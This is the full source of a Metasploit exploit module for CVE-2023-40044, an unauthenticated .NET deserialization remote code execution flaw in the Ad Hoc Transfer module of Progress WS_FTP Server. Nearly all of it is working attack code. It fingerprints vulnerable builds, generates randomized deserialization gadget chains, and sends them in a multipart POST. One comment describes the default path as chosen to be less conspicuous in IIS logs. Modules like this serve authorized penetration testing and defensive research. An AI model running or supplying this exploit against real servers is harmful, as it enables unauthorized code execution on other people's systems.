##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability
was originally discovered by AssetNote.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-40044'],
['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'],
['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023'],
['URL', 'https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044']
],
'DisclosureDate' => '2023-09-27',
'Platform' => %w[win],
'Arch' => [ARCH_CMD],
# 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and
# TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g.
# 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume
# all the available payload space via ./modules/nops/cmd/generic.rb).
'Payload' => { 'Space' => 5000 },
'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`.
'Targets' => [
[
'Windows', {}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in
# the IIS logs as to what the request is for, however the user can change this as needed if required.
Msf::OptString.new('TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']),
]
)
end
def check
# As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT.
res = send_request_cgi(
'method' => 'GET',
'uri' => '/AHT/AHT_UI/public/index.html'
)
return CheckCode::Unknown('Connection failed') unless res
title = Nokogiri::HTML(res.body).xpath('//head/title')&.text
# We verify the target is running the AHT module, by inspecting the HTML heads title.
if title == 'Ad Hoc Transfer'
res = send_request_cgi(
'method' => 'GET',
'uri' => '/AHT/AHT_UI/public/js/app.min.js'
)
return CheckCode::Unknown('Connection failed') unless res
# The patched versions were released on September 2023. We can query the date stamp in the app.min.js file
# to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP,
# but if it was build on Sept 2023 or after, it is not vulnerable.
if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/}
day = ::Regexp.last_match(1).to_i
month = ::Regexp.last_match(2).to_i
year = ::Regexp.last_match(3).to_i
description = "Detected a build date of #{day}-#{month}-#{year}"
if year > 2023 || (year == 2023 && month >= 9)
return CheckCode::Safe(description)
end
return CheckCode::Appears(description)
end
# If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module.
return CheckCode::Detected
end
CheckCode::Unknown
end
def exploit
unless datastore['TARGET_URI'].start_with? '/AHT/'
fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/')
end
# All of these gadget chains will work. We pick a random one during exploitation.
chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties]
gadget = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: chains.sample,
formatter: :BinaryFormatter
)
# We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation.
tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER]
message = Rex::MIME::Message.new
part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil)
part.header.set('name', rand_text_alphanumeric(8))
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['TARGET_URI']),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'method' => 'POST',
'data' => message.to_s
}
)
unless res&.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability')
end
end
end